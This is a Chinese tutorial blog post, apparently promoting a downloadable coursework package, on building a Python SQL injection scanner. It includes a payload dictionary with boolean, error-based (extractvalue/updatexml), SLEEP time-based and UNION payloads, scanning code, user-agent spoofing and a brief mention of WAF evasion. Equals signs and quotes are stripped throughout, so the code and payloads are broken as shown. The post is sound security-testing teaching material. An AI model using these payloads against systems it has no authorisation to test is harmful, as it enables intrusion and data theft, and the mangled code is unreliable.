
简介一款面向Python安全入门和课程设计场景的自动化SQL注入检测工具以完整源码与配套文档为核心解决Web安全测试中手工检测SQL注入效率低、流程繁琐的问题。包内共有12个文件其中7个Python脚本分别构成主程序及布尔盲注、时间盲注、自动注入、请求参数提取、站点获取、邮件通知等模块另有shell启动脚本、自定义规则文件、目标站点列表文本、说明文档和pyc缓存文件整个zip仅35KB结构清晰部署简单便于按需修改和二次学习。代码注释详细关键检测逻辑配有说明新手也能看懂注入判断思路下载后简单配置即可运行适合作为期末大作业、课程设计或安全测试入门的高分参考。目前已有182人学习下载整体模块划分明确从注入判断、参数提取到结果展示均有完整呈现适合作为课程设计与安全测试入门的高性价比参考。1. 自动化SQL注入检测把手工注入测试搬进定时任务SQL注入在安全测试报告里出现时往往伴随一大堆手工测试截图。我做接口安全巡检最烦的是反复给同一个登录接口拼 payload——先试单引号看报错再试 and 11 与 and 12 比对响应差异最后还要根据数据库类型换注释符。这套动作完全机械化漏一步就可能漏掉一个注入点。基于 Python 的自动化 SQL 注入检测工具本质就是把这段手工测试流程写成脚本构造注入载荷、发起请求、比对响应、输出判定。我按自己实际做过的方案把这一类工具的设计思路、核心代码和踩坑记录讲清楚。适合刚接触 Web 安全的 Python 开发也适合需要把安全巡检做成定时任务的测试和运维同学。2. 检测工具的判定内核SQL注入原理怎么翻译成Python规则2.1 从SQL注入原理到检测规则的映射SQL注入的根因是程序把用户输入直接拼进SQL语句没有做参数化处理。攻击者通过闭合引号、注释掉剩余语句、联合查询等手段改变原始SQL的语义。自动化检测工具要做的事就是把尝试改变SQL语义并观察响应变化这个过程固化下来。用Python实现时这个流程可以拆成四步构造带注入载荷的请求、发送请求、捕获响应、记录结果。下面是最小的流程骨架# 检测流程的四步骨架 import requests def scan(target_url, param_name, payloads): results [] for payload in payloads: # 1. 构造带注入载荷的请求参数 params {param_name: payload} # 2. 发送请求并捕获响应 try: resp requests.get(target_url, paramsparams, timeout10) except requests.exceptions.RequestException as e: # 3. 请求异常时记录但不中断 results.append({payload: payload, error: str(e)}) continue # 4. 记录响应状态码、长度与关键内容 results.append({ payload: payload, status: resp.status_code, length: len(resp.content), content: resp.text[:200] }) return results这段代码的四个步骤对应检测工具的核心时序构造、发送、捕获、记录。注意这里故意没有做判定先拿到原始响应数据再统一分析避免在循环里反复处理文本导致逻辑混乱。超时设置在10秒对大多数Web应用足够但对慢速接口要调大后面避坑章节会细说。把原理映射成规则关键不是背payload而是理解payload为什么能改变SQL语义。比如 OR 11就是SQL注入里典型的万能密码绕过写法它能绕过登录密码是因为它把WHERE条件变成恒真式WHERE usernameadmin AND password OR 11数据库读到的条件恒真于是返回第一条用户记录。检测工具报命中实际是在说这个参数点的输入改变了后端SQL的执行结果。练手阶段可以直接用bugku这类CTF靶场靶场里的注入关卡就是为这些检测规则设计的用工具跑一遍再手工验证一遍对理解原理特别有帮助。2.2 三类注入点的特征与请求构造差异注入点按参数类型和位置分特征差异很大。我经常用下面这张表来组织检测规则注入点类型典型位置特征首个测试payload数字型id1、page2参数值直接参与数值运算不需要引号1 and 11、1 and 12字符型usernameadmin参数被单引号包裹需要闭合引号admin and 11搜索型keyword手机可能使用LIKE模糊查询闭合方式特殊手机% and 11这个区分在自动化工具里直接影响payload构造。数字型注入点如果也发字符型payload很可能因为后端把字符串硬转成数字而返回0或报错产生大量误报。我一般会把同类参数归成一组按类型套用不同的payload模板。另外还有参数位置的区别GET参数在URL里POST参数在请求体里Cookie和Header里也可能存在注入点。一个成熟的检测工具不能只扫GET也要覆盖POST表单和JSON体。requests库处理这些很方便构造方式不同但判定逻辑完全一致def build_request(url, method, params, data): 按请求方式构造不同的请求 if method.upper() GET: return requests.get(url, paramsparams, timeout10) elif method.upper() POST: # 表单提交 return requests.post(url, datadata, timeout10) elif method.upper() JSON: # JSON体提交,很多接口用这种方式 return requests.post(url, jsondata, timeout10)POST表单和JSON体的差异在于数据序列化方式requests的data参数会做表单编码json参数会自动做JSON序列化。如果目标接口要求JSON提交而工具用了表单编码后端可能直接返回415或解析失败这是很常见的翻车点。2.3 响应比对策略绝对匹配还是启发式评分拿到响应之后怎么判断这个payload是不是触发了注入常见做法是基于特征比对而特征比对的粒度决定了误报率。最直观的策略是关键词匹配在响应内容里搜索SQL报错特征比如mysql_fetch_array、Warning: pg_query、SQLSTATE、Unclosed quotation mark。这种方式对错误型注入有效对盲注完全无效因为盲注的响应看起来和正常请求没有区别。另一种策略是长度比对对布尔型注入用and 11和and 12两组请求对比响应长度显著差异说明条件分支生效可能是注入点。还有时间差策略对SLEEP(5)这样的payload比较响应耗时与基线耗时。我用过一个相对平衡的启发式评分方法把多个维度的特征加权累加超过阈值才判定命中。这种方法比单一特征稳定但需要给权重初期不好调。对于确保可用的工具我更推荐先用确定性匹配打底状态码变化、响应长度固定差异、关键词出现、时间延迟超过阈值这些特征单独列出任何一个命中都记一条可疑多个维度同时命中才记高危人工再看报告做最终确认。工具的价值是缩小排查范围不是替代人的判断。3. 用Python写一个可运行的注入检测器请求、载荷与判定3.1 最小骨架requests会话与目标URL配置写自动化检测工具第一件事是把请求会话建立起来。很多目标站需要登录态所以我会用requests.Session()保持Cookie。目标URL不能写死在代码里应该放到配置文件或命令行参数里这样工具才有复用价值。# detector.py 最少可运行版本 import requests import time import urllib3 # 关闭不安全HTTPS证书警告,测试环境很多证书是自签的 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class InjectionScanner: def __init__(self, base_url, sessionNone, timeout10): self.base_url base_url.rstrip(/) # 会话复用:保持登录Cookie,避免每请求都重新认证 self.session session or requests.Session() self.timeout timeout self.results [] def get(self, params): 带超时与重试的GET请求 for attempt in range(2): try: resp self.session.get( self.base_url, paramsparams, timeoutself.timeout, verifyFalse # 自签证书场景 ) return resp except requests.exceptions.Timeout: # 超时可能是注入触发的SLEEP,记录耗时但不中断 if attempt 1: return None time.sleep(1) return None这个骨架里base_url、timeout都是可配置的verifyFalse省去证书校验的麻烦。session对象外部传入可以预先登录再扫描也可以从浏览器复制Cookie注入。注意超时重试只做一次避免注入触发SLEEP时工具自己先被卡死。参数说明timeout控制单次请求等待时间实网扫描建议10~15秒verifyFalse必须配合禁用警告否则控制台会被证书警告刷屏。目标URL带不带末尾斜杠影响拼接结果所以用rstrip(/)统一格式。3.2 注入载荷字典与payload生成逻辑payload是检测工具的弹药库。我习惯把payload按类型组织成字典而不是一个大列表这样在报告里能直接看出命中类型。下面是按注入类型分组的载荷字典# payloads.py 载荷字典 PAYLOADS { bool_true: [ 1 AND 11, 1 AND 11, 1 OR 11 -- -, ], bool_false: [ 1 AND 12, 1 AND 12, 1 OR 12 -- -, ], error_based: [ 1 AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e)) -- -, 1 AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) -- -, ], time_based: [ 1 AND SLEEP(5) -- -, 1 OR SLEEP(5) -- -, 1 AND SLEEP(5), ], union_select: [ 1 UNION SELECT NULL-- -, 1 UNION SELECT NULL,NULL-- -, 1 UNION SELECT NULL,NULL,NULL-- -, ], }生成payload时要区分参数原来是否带引号。如果原参数值是admin直接用admin AND 11如果原参数是数字1用1 AND 11。粗暴地对所有参数套同一个模板会漏掉一半以上的注入点。我一般会根据参数名和已知类型做映射参数名含id、page、num的按数字型处理含name、user、keyword的按字符型处理。注释符-- -后面必须带一个空格或控制字符否则MySQL会忽略注释导致payload失效。这个细节不写注释很容易被忽略很多手写payload因为注释符少了尾随空格就是打不穿。3.3 布尔盲注判定函数与时间盲注阈值设定判定函数是工具的灵魂。布尔盲注的核心判断是真条件与假条件的响应存在稳定差异我用的是响应长度加内容哈希的双重校验def check_bool_blind(self, url, param, true_payload, false_payload): 布尔盲注判定:比较真/假条件的响应差异 # 先取正常请求的响应作为基线 baseline_len len(self.get({param: 1}).content) true_len len(self.get({param: true_payload}).content) false_len len(self.get({param: false_payload}).content) if true_len 0 or false_len 0: return False # 真/假响应长度差异显著,且与基线不同,判定为可疑注入 diff_ratio abs(true_len - false_len) / max(true_len, false_len, 1) return diff_ratio 0.1 def check_time_blind(self, url, param, payload, threshold5.0): 时间盲注判定:响应耗时是否显著超过threshold start time.time() resp self.get({param: payload}) elapsed time.time() - start # payload内置SLEEP(n),若耗时超过 n*0.8 则认为SLEEP被执行 return elapsed threshold * 0.8 and resp is not None布尔盲注里diff_ratio阈值0.1表示真/假响应长度偏差超过10%即判定命中。这个值不能太小否则正常业务里参数值偶尔不同也会触发误报。时间盲注的阈值0.8是给SLEEP函数的执行时间留了缓冲如果网络本身延迟就高这个系数要往下调否则误报会增多。我在实网跑的时候还会额外对比一个不包含SLEEP的空白请求的耗时作为基线动态计算阈值比写死5秒更抗网络波动。4. 让工具真正确保可用依赖环境、参数调优与报告输出4.1 从源码到运行依赖清单与Python版本选择拿到一份标着确保可用的源代码先别急着跑。我一般按三步走先读文档说明里的环境要求再核对Python版本与依赖库最后用一个最简单的目标URL跑通冒烟测试。Python版本建议3.8以上requests和urllib3是核心依赖。不要用Python 2很多字符串处理和SSL库在2上都有兼容问题。安装依赖只需要一条命令pip install requests urllib3如果内网装不了pip包有一个离线方案把requests和urllib3的wheel文件下载到本地用pip install --no-index --find-links./offline_pkg requests安装。另外扫描HTTPS目标时证书链不完整也会影响连接Python 3.8以上自带的ssl模块一般够用。运行源码之前先检查Python版本和requests库是否正常python --version python -c import requests; print(requests.__version__)这两条命令能过滤掉八成代码明明没问题但跑不起来的情况。版本不对的先升级python -m pip install --upgrade pip requests是常见做法。文档说明里如果写了环境变量或配置文件也在这个阶段一次性确认别等跑出诡异报错再回头翻。4.2 扫描配置详解并发、超时与目标范围并发控制是自动化工具必须做的。无脑开几十个线程去打目标先不说目标会不会挂检测方自己先被socket占用耗尽而且很容易触达WAF的封禁阈值。我用比较保守的参数并发线程数默认3每个目标串行跑同一组payload目标之间并行。# config.py 扫描配置 SCAN_CONFIG { concurrency: 3, # 并发线程数,按目标分配 timeout: 10, # 单请求超时(秒) retries: 1, # 请求失败重试次数 user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64), # 伪装浏览器UA delay: 0.5, # 每个payload之间的间隔(秒) max_targets: 20, # 单次扫描最多目标数 }delay参数是请求间隔用0.5秒是为了不让工具变成打请求的钻头既保护目标也保护检测方的IP不被封。如果扫内网测试环境delay可以改成0或0.1。user_agent一定要伪装很多框架对无UA的请求直接返回403误报率会飙升。目标范围的限定也很关键。工具应该接受一个URL列表文件每行一个目标格式形如http://192.168.1.10/login.php?id1。不要做全站爬虫那是另一类工具的事注入检测器的定位是在已知URL上做深度测试。我一般会用如下方式读取目标# targets.txt 每行一个目标URL with open(targets.txt, r, encodingutf-8) as f: targets [line.strip() for line in f if line.strip()]注意targets文件里不要带空格和换行程序不会替你做清洗。每个目标带完整的参数路径工具只负责替换参数值不负责发现参数。写targets文件时注释行不要用井号开头直接删掉就好免得解析出多余空串。4.3 报告输出从控制台到结构化文件检测结果要可追溯纯控制台打印根本没法做后续分析也没法对接告警。我会把结果同时输出到控制台和JSON文件JSON结构方便对接后端的告警平台或定时任务系统。# report.py 结果导出 import json import csv from datetime import datetime def export_report(results, file_prefixscan_report): 导出JSON和CSV双格式报告 timestamp datetime.now().strftime(%Y%m%d_%H%M%S) json_file f{file_prefix}_{timestamp}.json csv_file f{file_prefix}_{timestamp}.csv with open(json_file, w, encodingutf-8) as f: json.dump(results, f, ensure_asciiFalse, indent2) with open(csv_file, w, newline, encodingutf-8-sig) as f: writer csv.DictWriter(f, fieldnames[url, param, payload, level, evidence]) writer.writeheader() for r in results: writer.writerow({ url: r.get(url), param: r.get(param), payload: r.get(payload), level: r.get(level), evidence: r.get(evidence, )[:500] }) return json_file, csv_fileJSON用utf-8带缩进中文不会乱码CSV用utf-8-sig是因为Excel打开不带BOM的UTF-8会乱码这是血泪经验。evidence字段只存前500字符防止把整页HTML塞进报告导致文件膨胀。报告里每条命中记录应该包含五要素目标URL、注入参数名、触发的payload、命中级别可疑/高危、证据响应片段或耗时数据。盯报告的时候凭这五要素就能快速判断是否需要人工复核不需要再抓包。5. 自动化注入检测避坑记录误报、WAF与频控的5个典型问题5.1 现象响应长度类payload全部命中误报率飙升现象布尔盲注判定函数对某个参数返回了大量高危真条件和假条件的响应长度差异达到30%以上但手工用sqlmap验证时发现根本不是注入点。原因目标接口的响应是动态的比如页面带了时间戳、随机token、广告位内容。第一次请求和第二次请求的响应长度天然就不同差异不是来自SQL分支而是来自动态内容。布尔盲注的比较逻辑被动态内容干扰。解决把响应长度差异从绝对差异改成核心内容哈希差异。提取响应中去掉时间戳和随机数的静态部分比如HTML结构体对比结构体是否变化。另外增加重复验证机制对同一组true/false payload各请求两次只有两次的差异方向一致才判定命中。这样能过滤掉大部分由于内容抖动带来的误报。5.2 现象WAF拦截页被当成注入成功现象对某目标发送 OR 11 -- -后响应状态码变成403响应正文出现请求被拦截之类的关键词。工具把403和关键词当成了注入成功的证据报高危。原因WAF在检测到攻击特征后直接拦截请求返回的是拦截提示页不是业务响应。工具只看状态码和关键词没有区分业务处理后的响应和网关拦截页。解决在判定逻辑里增加拦截页指纹库。预先录入常见WAF产品的拦截页特征关键词响应正文命中这些关键词时不再做注入判定而是标注WAF blocked。同时payload的编码方式也要调整比如用URL全编码、注释符内联等方式让请求通过WAF的规则匹配但这属于对抗思路对已授权的渗透测试可以做对常规巡检不建议。我一般会把这些请求标记为被WAF拦截报告里单独列一类不混入注入结果。5.3 现象时间盲注检测在目标正常时集体超时现象工具对没有任何注入点的目标也报了十几条时间盲注命中每条的响应耗时都在6秒以上。原因两个可能。一是目标服务端本身响应慢静态资源加载或慢SQL导致基础延迟就超过payload里的SLEEP时间。二是网络链路不稳定超时重试机制让请求重复发送累计耗时看起来像SLEEP生效。解决时间盲注不能只用绝对耗时判断要对比基线。做法是先发3个不带payload的普通请求取平均响应耗时作为基线然后用elapsed_time / baseline_time的比值来判定比值超过3且绝对耗时大于payload中的SLEEP值才判定命中。这样就隔离了网络延迟的影响。基线的计算要在每次扫描开始前动态获取不要用配置文件里的静态值。这里有几个参数经验值网络内网环境基线比阈值设为2.0~3.0公网要设为4.0以上payload里的SLEEP值建议固定在5秒不要用1秒或2秒太短的延迟会被网络抖动淹没。5.4 现象登录接口验证码阻断自动化测试现象扫描登录接口时payload打进去了但响应始终是验证码错误工具报了大量无命中实际上是因为请求根本没到SQL执行层。原因登录接口有图形验证码或滑块验证自动化工具无法通过验证码请求在到达业务逻辑前就被拦截了。解决有三种思路。第一种扫描前先通过配置项把验证码功能关闭测试环境常见做法第二种从浏览器里取出有效的Cookie和验证码会话让工具的session携带这个会话去扫第三种只对登录接口做基于时间盲注的检测因为时间盲注不需要看业务响应内容只要请求能到达SQL层并触发SLEEP就能命中。实际上一个登录接口如果连验证码都没有它本身就值得多测几遍。我在工具里专门加了登录接口模式该模式下跳过布尔盲注和错误型注入的关键词比对只保留时间盲注和响应耗时统计避免验证码页面对判定的干扰。5.5 现象HTTP状态码与业务码混淆现象目标接口对登录失败返回200对业务异常也返回200对所有请求都返回200工具按状态码判断响应异常的逻辑全部失效。原因很多Web应用采用全局200策略HTTP状态码永远返回200真正的业务错误放在响应体里的code字段如{code: 5001, msg: 参数错误}。工具如果拿HTTP状态码当判定依据等于用一把失效的尺子量东西。解决把判定依据从状态码切换为业务码解析。在工具里配置一个可选的业务码提取器def extract_business_code(resp_text): 从JSON响应体内提取业务code import json try: data json.loads(resp_text) return data.get(code) or data.get(status) or data.get(retCode) except (json.JSONDecodeError, AttributeError): return None然后在比对逻辑里优先使用业务码。布尔注入的true/false条件如果能让业务码产生差异即便HTTP状态码都是200也能准确判定。这一条很隐蔽我早期吃过亏后来所有工具默认先探测响应类型再决定用什么字段做判定基准。6. 把检测工具升级成持续巡检从单次扫描到验证闭环单次扫描只能证明此刻这个接口存在可疑注入要真正做到确保可用需要把工具接入日常巡检流程。做法是让工具接受crontab调度每天凌晨跑一次结果落到JSON文件和日志再用一个简单的脚本把新增的高危记录推送到企业微信或钉钉机器人。推送消息只需要URL、参数、payload和级别四要素不需要把报告全文发过去。响应里的payload要做truncate和转义避免消息被网关拦截。定时巡检跑起来之后验证环节不能省。我习惯在每次生成报告后把高危级别的前三条拼接成一条手工复测命令打印到控制台。比如python detector.py -u http://192.168.1.10/login.php -p username -l high这条命令能快速复现检测结果方便开发同学直接在浏览器里验证。复测时多用带引号的原始payload避免工具内置的编码转换掩盖真实问题。如果复测确认无误再按漏洞管理流程修复。发现可疑注入后修复方向也顺带说一下后端全部改成参数化查询或预编译语句这是sql注入原理及防护里最基础也确实有效的做法。工具能帮你定位漏洞点但堵住它要靠开发侧的改造。另外工具的payload字典应该定期补充。数据库版本在变WAF规则在变固定一套payload跑半年漏报率会越来越高。我每季度会从公开的注入测试案例中抽取新的payload模板加到字典里跑一遍回归对比之前的结果看有没有新增命中。这算是工具维护的日常功夫。最后说一个我自己的习惯任何自动化注入检测工具的输出我都默认先当候选再看一遍不直接出结论。这不算对工具不信任而是注入检测的黑匣子效应太强——一个误报可能浪费开发一下午一个漏报可能让漏洞在线上躺一个月。有了自动化工具替你缩小范围人工复核的成本已经低很多了。希望帮到你。本文还有配套的精品资源点击获取
锦
锦皓数字建站
深耕本土企业品牌数字化升级,专注原创端正雅致商务官网,从视觉设计到稳定运维全程保驾护航。